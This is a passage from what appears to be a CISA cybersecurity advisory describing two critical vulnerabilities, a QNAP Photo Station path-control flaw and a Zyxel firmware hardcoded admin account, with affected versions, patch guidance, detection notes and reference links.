http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

Table 16: Information on QNAP CVE-2019-7195

QNAP CVE-2019-7195	CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions.

Recommended Mitigations

Update Photo Station to versions:

- QTS 4.4.1 Photo Station 6.0.3 and later
- QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later
- QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later
- QTS 4.2.6 Photo Station 5.2.11 and later

Detection Methods

- N/A

Vulnerable Technologies and Versions

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

Table 17: Information on Zyxel CVE-2020-29583

Zyxel CVE-2020-29583	CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Firmware version 4.60 of Zyxel USG devices contains an undocumented account (zyfwp) with an unchangeable password. The password for this account can be found in cleartext in the firmware. This account can be used by someone to login to the SSH server or web interface with admin privileges.

Recommended Mitigations

- Download latest patch (4.60 Patch1 or newer)

Detection Methods

- Login attempts to the hardcoded undocumented account, seen in either audit logs or intrusion detection systems

Vulnerable Technologies and Versions

This vulnerability affects the following technologies and versions:

- ATP series running firmware ZLD V4.60
- USG series running firmware ZLD V4.60
- USG FLEX series running firmware ZLD V4.60
- VPN series running firmware ZLD V4.60
- NXC2500 running firmware V6.00 through V6.10
- NXC5500 running firmware V6.00 through V6.10

References

http://ftp.zyxel.com/USG40/firmware/USG40_4.60(AALA.1)C0_2.pdf
https://businessforum.zyxel.com/discussion/5252/zld-v4-60-revoke-and-wk48-firmware-release
https://businessforum.zyxel.com/discussion/5254/whats-new-for-zld4-60-patch-1-available-on-dec-15
https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html
https://www.zyxel.com/support/CVE-2020-29583.shtml
https://www.zyxel.com/support/security_advisories.shtml

Revisions

Initial Version: June 7, 2022

Source: https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-158a